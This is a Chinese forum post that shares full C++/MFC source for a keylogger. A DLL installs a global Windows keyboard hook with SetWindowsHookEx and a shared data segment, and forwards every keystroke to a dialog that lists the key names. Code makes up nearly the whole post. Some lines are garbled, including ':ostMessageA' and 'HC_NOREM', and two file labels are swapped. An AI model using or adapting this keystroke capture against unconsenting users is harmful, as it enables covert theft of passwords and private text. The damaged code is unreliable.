看流星社区

 找回密码
 注册账号
查看: 1854|回复: 0

键盘记录程序代码

[复制链接]

该用户从未签到

发表于 2017-6-2 13:22:40 | 显示全部楼层 |阅读模式
键盘记录程序


-------------------------------------------------------------------------------
主程序:
就是基于对话框的框架,加个个OnHookKey函数,
long CMainDialog::OnHookKey(WPARAM wParam, LPARAM lParam)   //处理自定义消息
{
        char szKey[80]={0};
        GetKeyNameText(lParam, szKey, 80);
        CString strItem;
        strItem.Format("按键:%s\r\n", szKey);
        CString strEdit;
        GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit);
        GetDlgItem(IDC_KEYMSG)->SetWindowTextA(strEdit+strItem);
        ::MessageBeep(MB_OK);
        return 0;
}
在初始化时,调用DLL中的:
SetKeyHook(TRUE, 0, m_hWnd)在析构时,调用DLL中的:
SetKeyHook(FALSE);
.cpp代码

#include <afxwin.h>
#define  HM_KEY WM_USER+100
//CMyApp
class CMyApp:public CWinApp
{
public:
        BOOL InitInstance();
};

//CMyDialog
class CMainDialog:public CDialog
{
public:
        CMainDialog(CWnd* pParentWnd = NULL);

protected:
        virtual BOOL OnInitDialog( );
        afx_msg void OnCancel();
        afx_msg long OnHookKey(WPARAM wParam, LPARAM lParam);  //处理自定义消息的声明

        DECLARE_MESSAGE_MAP()
};.h代码:
#include "resource.h"
#include "KeyHookApp.h"
#include "KeyHook.h"
#pragma comment(lib,"KeyHook.lib")

CMyApp theApp;

BOOL CMyApp::InitInstance()
{
        CMainDialog dlg;
        m_pMainWnd = &amp;dlg;   //给m_pMainWnd 主窗口
        dlg.DoModal();
        return FALSE; //不进入消息循环
}


BEGIN_MESSAGE_MAP(CMainDialog, CDialog)
        ON_MESSAGE(HM_KEY, OnHookKey) //自定义消息
END_MESSAGE_MAP()

//CMainDialog
CMainDialog::CMainDialog(CWnd* pParentWnd):CDialog(IDD_MAIN, pParentWnd)  
{  

}
BOOL CMainDialog::OnInitDialog( )
{
        CDialog::OnInitDialog();
        if (!SetKeyHook(TRUE, 0, m_hWnd))
        {
                MessageBox("安装钩子失败");
        }
       
        return TRUE;
}
//处理关闭消息
void CMainDialog::OnCancel()
{
        OutputDebugString("oncancel");
        SetKeyHook(FALSE);
        CDialog::OnCancel();
        return;
}
long CMainDialog::OnHookKey(WPARAM wParam, LPARAM lParam)   //处理自定义消息
{
        char szKey[80]={0};
        GetKeyNameText(lParam, szKey, 80);
        CString strItem;
        strItem.Format("按键:%s\r\n", szKey);
        CString strEdit;
        GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit);
        GetDlgItem(IDC_KEYMSG)->SetWindowTextA(strEdit+strItem);
        ::MessageBeep(MB_OK);
        return 0;
}
dll的代码:
.cpp
// KeyHook.cpp : 定义 DLL 应用程序的导出函数。
//

#include "stdafx.h"
#include "KeyHook.h"


//共享数据段
#pragma data_seg("YCIShared")
HWND g_hWndCaller=NULL; //保存主窗口句柄
HHOOK g_hHook = NULL; //保存钩子句柄
#pragma data_seg()
// 这是导出变量的一个示例
KEYHOOK_API int nKeyHook=0;

// 这是导出函数的一个示例。
KEYHOOK_API int fnKeyHook(void)
{
        return 42;
}


//通过内存得到模块句柄的帮助函数
HMODULE WINAPI ModuleFromAddress(LPVOID pv)
{
        MEMORY_BASIC_INFORMATION  mbi;
        if (0 != ::VirtualQuery(pv, &amp;mbi, sizeof(MEMORY_BASIC_INFORMATION)))
        {
                return (HMODULE)mbi.AllocationBase;
        }
        else
        {
                return NULL;
        }
}
//钩子处理函数
LRESULT CALLBACK KeyboardProc(
        __in  int code,
        __in  WPARAM wParam,
        __in  LPARAM lParam
        )
{
        if (code<0||code==HC_NOREM)
        {
                return ::CallNextHookEx(g_hHook, code, wParam,lParam);
        }
        //如果重复消息,交给下一链
        if (lParam &amp; 0x40000000)
        {
                return ::CallNextHookEx(g_hHook, code, wParam,lParam);
        }
        //通知主窗口
        :ostMessageA(g_hWndCaller, HM_KEY, wParam, lParam);
        return ::CallNextHookEx(g_hHook, code, wParam,lParam);
       
}
//安装和卸载钩子函数
BOOL KEYHOOK_API WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId, HWND hWndCaller)
{
        BOOL bRet = TRUE;
        g_hWndCaller = hWndCaller;
        if (bInstall) //安装钩子
        {
                g_hHook =::SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, ModuleFromAddress(KeyboardProc), dwThreadId);
                bRet = (g_hHook != NULL);
        }
        else //卸载钩子
        {
                ::UnhookWindowsHookEx(g_hHook);
                g_hHook = NULL;
        }
        return bRet;
}
// 这是已导出类的构造函数。
// 有关类定义的信息,请参阅 KeyHook.h
CKeyHook::CKeyHook()
{
        return;
}

.h
// 下列 ifdef 块是创建使从 DLL 导出更简单的
// 宏的标准方法。此 DLL 中的所有文件都是用命令行上定义的 KEYHOOK_EXPORTS
// 符号编译的。在使用此 DLL 的
// 任何其他项目上不应定义此符号。这样,源文件中包含此文件的任何其他项目都会将
// KEYHOOK_API 函数视为是从 DLL 导入的,而此 DLL 则将用此宏定义的
// 符号视为是被导出的。
#ifdef KEYHOOK_EXPORTS
#define KEYHOOK_API __declspec(dllexport)
#else
#define KEYHOOK_API __declspec(dllimport)
#endif

#define  HM_KEY WM_USER + 100
// 此类是从 KeyHook.dll 导出的
class KEYHOOK_API CKeyHook {
public:
        CKeyHook(void);
        // TODO: 在此添加您的方法。
};

extern KEYHOOK_API int nKeyHook;

KEYHOOK_API int fnKeyHook(void);

//声明要导出的
BOOL KEYHOOK_API WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId=0, HWND hWndCaller=NULL);
.def
EXPORTS
        SetKeyHook
SECTIONS
        YCIShared  Read Write Shared
点击按钮快速添加回复内容: 支持 高兴 激动 给力 加油 苦寻 生气 回帖 路过 感恩
您需要登录后才可以回帖 登录 | 注册账号

本版积分规则

小黑屋|手机版|Archiver|看流星社区 |网站地图

GMT+8, 2024-3-19 14:59

Powered by Kanliuxing X3.4

© 2010-2019 kanliuxing.com

快速回复 返回顶部 返回列表